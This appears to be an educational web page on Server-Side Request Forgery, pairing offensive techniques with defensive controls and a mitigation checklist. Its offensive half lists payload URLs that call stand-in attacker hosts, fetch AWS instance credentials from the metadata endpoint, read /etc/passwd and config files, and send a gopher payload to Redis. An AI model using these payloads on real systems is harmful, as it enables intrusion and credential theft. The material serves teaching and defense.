Server-Side Request Forgery (SSRF)

What is SSRF?

Server-Side Request Forgery (SSRF) is a vulnerability that allows an attacker to make the server perform unauthorized requests on behalf of the attacker. This can be used to access internal systems, read sensitive metadata, or even pivot into private networks.

SSRF Impact Severity:

  • Access to internal services (databases, admin panels)
  • Cloud metadata exposure (AWS IAM keys, Azure tokens)
  • Port scanning of internal networks
  • Remote code execution via internal services
  • Bypass of firewall restrictions

Red Team Techniques (Offensive)

1. Basic SSRF (Server-Side Request Forgery)

Server-Side Request Forgery (SSRF) occurs when an attacker can make a vulnerable server send HTTP requests to arbitrary internal or external resources. This can lead to data leakage, internal service access, and even remote code execution in some configurations.

Basic External Request

http://vulnerable.com/api/fetch?url=http://attacker.com

Attacker forces the backend to make a request to a domain they control, potentially exfiltrating data.

File Protocol (Local File Access)

http://vulnerable.com/export?template=file:///etc/passwd

Reads sensitive files from the local filesystem if not properly restricted.

Internal Service Discovery

http://vulnerable.com/api/fetch?url=http://127.0.0.1:8000/admin

Used to probe internal-only services such as cloud metadata endpoints, admin panels, or Redis instances.

Cloud Metadata Exploitation (AWS)

http://vulnerable.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

Attempts to access AWS EC2 metadata service to steal instance credentials.

Common SSRF Targets:

  • Cloud metadata services: AWS, GCP, Azure metadata endpoints
  • Internal services: Admin panels, databases, Redis, MongoDB, etc.
  • Localhost services: 127.0.0.1, localhost, 0.0.0.0, etc.
  • File protocols: file://, dict://, gopher://

2. Blind SSRF

Blind Server-Side Request Forgery (Blind SSRF) occurs when the server performs a request, but the response is not directly visible to the attacker. Exploitation requires side-channel feedback, such as DNS callbacks or external logs. It's often used to exfiltrate data, scan internal networks, or trigger actions on internal services.

DNS-Based Exfiltration

http://vulnerable.com/fetch?url=http://abc.attacker-server.com

Attacker monitors DNS logs for abc.attacker-server.com to confirm server-side request execution.

AWS Metadata Fetch (No Direct Output)

http://vulnerable.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

If the server doesn’t return the response but internally logs it or stores it somewhere retrievable later, credentials may still be exposed.

Trigger via Gopher Protocol (Redis RCE)

gopher://127.0.0.1:6379/_%2A1%0D%0ASET%0D%0Aevil%0D%0A"payload"

Sends raw payloads to internal services like Redis or Memcached — no output returned but action is performed.

Out-of-Band Detection Using Collaborator

http://target.com/render?url=http://burpcollaborator.net/abc123

Uses platforms like Burp Collaborator or Canarytokens to receive pingback or DNS resolution.

Common Feedback Channels for Blind SSRF:

  • DNS logs from controlled domain
  • Server logs or cache entries
  • Out-of-band services (Burp Collaborator, Interact.sh)
  • Email/Slack/webhook notifications triggered by SSRF action

3. Authenticated SSRF

Authenticated SSRF vulnerabilities require the attacker to be logged in or have valid credentials. The attacker abuses functionality available only to authenticated users to trigger server-side requests, often targeting internal services or sensitive endpoints accessible within the trusted network.

Example: Fetch Internal Admin Panel

POST /user/settings/fetch HTTP/1.1
Host: vulnerable.com
Content-Type: application/json
Cookie: session=valid_user_session_token

{
  "url": "http://127.0.0.1:8080/admin"
}

Authenticated attacker leverages a feature that fetches URLs, causing the server to access an internal admin interface not accessible externally.

Example: Cloud Metadata Access via Authenticated Request

GET /profile?avatar=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: vulnerable.com
Cookie: session=valid_user_session_token

Logged-in users’ requests are abused to retrieve sensitive cloud credentials through SSRF.

Why Authenticated SSRF Is Dangerous:

  • Allows attackers to leverage user privileges inside the application
  • Enables access to otherwise protected internal systems
  • May lead to privilege escalation if sensitive internal endpoints are exposed
  • Harder to detect since traffic looks like legitimate authenticated activity

Mitigation Techniques:

  • Implement strict input validation and URL allowlisting
  • Restrict sensitive internal endpoints from being accessed via SSRF vectors
  • Limit functionality that allows fetching URLs to trusted sources only
  • Use network segmentation to separate internal resources
  • Monitor authenticated user actions for unusual SSRF attempts

4. Recursive SSRF

Recursive SSRF occurs when a server-side request triggered by SSRF leads to another internal request, creating a chain or loop of requests. This can be exploited to scan internal networks, amplify attacks, or reach deeply nested internal resources that are not directly accessible.

Example: SSRF Triggering Internal Redirect

http://vulnerable.com/api/fetch?url=http://internal-service.local/redirect?target=http://127.0.0.1/admin

The initial SSRF request triggers a redirect that causes the server to make an additional request to another internal URL.

Example: Chained SSRF to Scan Network

http://vulnerable.com/api/fetch?url=http://10.0.0.5:8080/scan?next=10.0.0.6

A crafted SSRF request triggers the server to scan a network range recursively by chaining internal requests through vulnerable endpoints.

Amplification via Recursive Requests

http://vulnerable.com/api/fetch?url=http://internal-service.local/fetch?url=http://another-service.local/admin

Recursive SSRF can cause multiple internal requests cascading from one initial attacker-controlled input.

Risks of Recursive SSRF:

  • Internal network discovery and enumeration
  • Amplified attack surface increasing the chance of sensitive data exposure
  • Potential for Denial-of-Service by exhausting server resources
  • Harder to detect due to multi-step indirect requests

5. File SSRF

File SSRF exploits occur when an attacker uses SSRF to make the server read local files on the filesystem via the file:// protocol or other schemes. This can lead to sensitive information disclosure like configuration files, credentials, or source code.

Example: Accessing /etc/passwd

http://vulnerable.com/api/fetch?url=file:///etc/passwd

Attempts to read the Unix password file, which contains user account information.

Example: Reading Application Config

http://vulnerable.com/api/fetch?url=file:///var/www/app/config.yaml

Reads sensitive application configuration files that may contain database credentials or API keys.

Example: Windows File Access

http://vulnerable.com/api/fetch?url=file:///C:/Windows/System32/drivers/etc/hosts

Reads the Windows hosts file, which can reveal local DNS overrides or network information.

Risks of File SSRF:

  • Disclosure of sensitive files and credentials
  • Exposure of source code, configuration, and secrets
  • Potential for further attacks if sensitive data is leaked

Mitigation Strategies:

  • Disallow usage of file:// and other risky protocols in user input
  • Use strict validation and allowlists for URL schemes
  • Run services with least privilege to minimize file access
  • Log and monitor suspicious access attempts to local files

SSRF Tools & Automation

Discovery & Scanning

  • Burp Suite (with active scanning for SSRF vulnerabilities)
  • SSRFmap (Automated SSRF scanner and exploitation tool)
  • gf patterns (with custom SSRF regex patterns for fast detection)

Exploitation & Payload Generation

  • SSRFmap (supports chaining, recursive SSRF exploitation)
  • Redirector and Burp Collaborator (for detecting OOB SSRF)
  • Inbuilt scripting with tools like Nuclei (custom SSRF templates)

Post-Exploitation & Analysis

  • Burp Collaborator (to catch outbound network calls)
  • SSRFmap Reporting (network mapping and logs)
  • Network sniffers (Wireshark, tcpdump) for internal traffic analysis

Blue Team Defenses (Defensive)

1. Input Validation

Strict Allowlisting

// Only allow specific domains
const ALLOWED_DOMAINS = ['api.trusted.com', 'cdn.safe.org'];

if (!ALLOWED_DOMAINS.includes(new URL(input).hostname)) {
  throw new Error('Domain not allowed');
}

Block Reserved Ranges

// Reject private, localhost, and cloud IPs
function isForbiddenIP(ip) {
  return ip.match(/^127.|^10.|^192.168.|^172.(1[6-9]|2[0-9]|3[0-1]).|^169.254./);
}

2. Network Controls

Egress Filtering

  • Restrict outbound connections
  • Block internal IP ranges
  • Implement proxy whitelisting

Cloud Protections

  • AWS IMDSv2 (required)
  • GCP metadata restrictions
  • Azure metadata firewall rules

3. Secure Coding Practices

Safe Libraries

  • Use requests with allow_redirects=False
  • Avoid file://, gopher://, dict://
  • Disable following redirects

Framework Protections

# Django SSRF Protection
from django_ssrf.protection import SSRFProtect

@SSRFProtect
def fetch_url(request):
    # Your view code

4. Monitoring & Detection

Log Analysis

  • Monitor for internal IP requests
  • Alert on metadata endpoint access
  • Track abnormal outbound traffic

WAF Rules

  • Block known SSRF patterns
  • Detect encoded IP addresses
  • Flag DNS rebinding attempts

5. Cloud-Specific Protections

AWS

  • Enforce IMDSv2
  • Use instance metadata firewall
  • Restrict IAM roles

Azure

  • Disable metadata service where unused
  • Use managed identities
  • Implement network security groups

GCP

  • Disable legacy metadata endpoints
  • Use workload identity
  • Restrict metadata access

SSRF Mitigation Checklist

  • Implement strict URL allowlisting
  • Validate and sanitize all user-supplied URLs
  • Block access to internal IP ranges and metadata services
  • Use network segmentation for sensitive backends
  • Enable cloud provider metadata protections (IMDSv2)
  • Monitor for suspicious outbound requests
  • Regularly test SSRF protections

Additional Resources & References

Learning Resources

Security Tools

Legal Notice

This content is provided for educational purposes only. Never test security vulnerabilities against systems without explicit permission. Unauthorized testing may violate laws.